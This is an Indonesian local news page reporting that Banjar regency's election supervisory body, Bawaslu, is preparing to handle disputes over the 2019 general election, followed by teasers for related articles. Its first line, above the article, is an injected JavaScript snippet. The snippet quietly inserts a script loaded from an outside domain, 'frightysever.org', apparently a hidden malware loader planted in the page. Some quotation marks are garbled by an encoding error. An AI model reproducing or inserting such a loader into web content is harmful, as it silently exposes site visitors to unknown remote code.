(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
MARTAPURA, Badan Pengawas Pemilu (Bawaslu) Kabupaten Banjar persiapkan diri hadapi sengketa hasil Pemilihan Umum (Pemilu) 2019. Turut menyamakan persepsi bersama dengan mengundang Panwascam, hingga perwakilan partai politik berkumpul dalam acara rapat kerja teknis penyelesaian sengketa Pemilu 2019 di Nasa Hotel Banjarmasin, Sabtu dan Minggu (13-14/4/2019).
Ketua Bawaslu Banjar Fajeri Tamzidillah mengatakan, jajaran Bawaslu Banjar mulai tingkat kabupaten, kecamatan hingga desa yang jumlah totalnya berkisar 2.000 orang harus siap menghadapi apabila terjadi sengketa Pemilu, tentu harus sejalan sesuai mekanisme. Sehingga hasilnya dapat dipertanggungjawabkan hingga ke tingkat atas. Namun disadari peran partisipasi dari masyarakat sangat penting untuk ikut mengawasi berjalannya pemilihan umum.
“Saatnya kita berkonsentrasi penuh untuk mengemban amanah dan mengawal penyelenggaraan Pemilu 2019, kita harapkan ada partisipasi masyarakat untuk mengawasi Pemilu ini,†ujarnya.
Terkait sengketa Pemilu di Kabupaten Banjar, Fajri mengatakan, bisa saja terjadi seperti halnya proses penetapan daftar calon sementara yang digelar di Bawaslu Banjar beberapa waktu lalu. Selain itu, sengketa Pemilu di Kabupaten Banjar juga terjadi saat pemasangan APK yang dipasang caleg dilain rumahnya dilaporkan ke Bawaslu Banjar. Kemudian diselesaikan dengan cara mediasi hingga musyawarah mufakat.
“Sudah dua sengketa Pemilu yang telah kita selesaikan, dan hanya ada dua itu saja,†akunya.
Fajeri memprediksi ada kemungkinan kerawanan sengketa bisa saja terjadi saat pencoblosan pada 17 April mendatang. Seperti halnya proses pemungutan dan perhitungan suara yang disebut sengketa perolehan suara, yang mana ranahnya akan diselesaikan ke Mahkamah Konstitusi.
“Untuk meminimalisir proses sengketa pemungutan dan perhitungan surat suara itulah tugas kita yang akan mengawal mengawasi di setiap TPS di Kabupaten Banjar. Tentunya membutuhkan data pembanding dari penyelenggara KPU, sehingga data yang dimiliki pengawal pemilu diharapkan lebih akurat, makanya kita siapkan mulai dari sekarang,†jelasnya.
Adapun tahapan penyelesaian sengketa, apabila ada peserta pemilu yang merasa dirugikan dengan adanya SK penyelenggara selanjutnya akan dilaporkan ke Bawaslu Banjar untuk selanjutnya dimediasi hingga tahapan ajudikasi. (rendy)ÂÂ
KANALKALIMANTAN.COM, MARTAPURA - Tersangka kasus dugaan korupsi, Kepala Desa Sungai Alat Kecamatan Astambul, P (45)… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Puluhan warga Banjarmasin harus kehilangan tempat tinggal dan mengungsi akibat kebakaran permukiman… Read More
KANALKALIMANTAN.COM, BANJARBARU - Upaya memecah masalah lalu lintas di perempatan Jalan Guntung Manggis - Trikora… Read More
Polda Kalsel Turunkan 1.200 Personel, Amankan Kabupaten Banjar dan Kota Banjarbaru Read More
KANALKALIMANTAN.COM, BANJARMASIN - Satuan Reserse Narkoba (Satresnarkoba) Polres Banjarmasin mengungkap kasus peredaran narkotika jenis sabu.… Read More
KANALKALIMANTAN.COM, BANJARBARU - Momentum liburan Natal 2024 dan Tahun Baru 2025 menjadi ladang cuan bagi… Read More
This website uses cookies.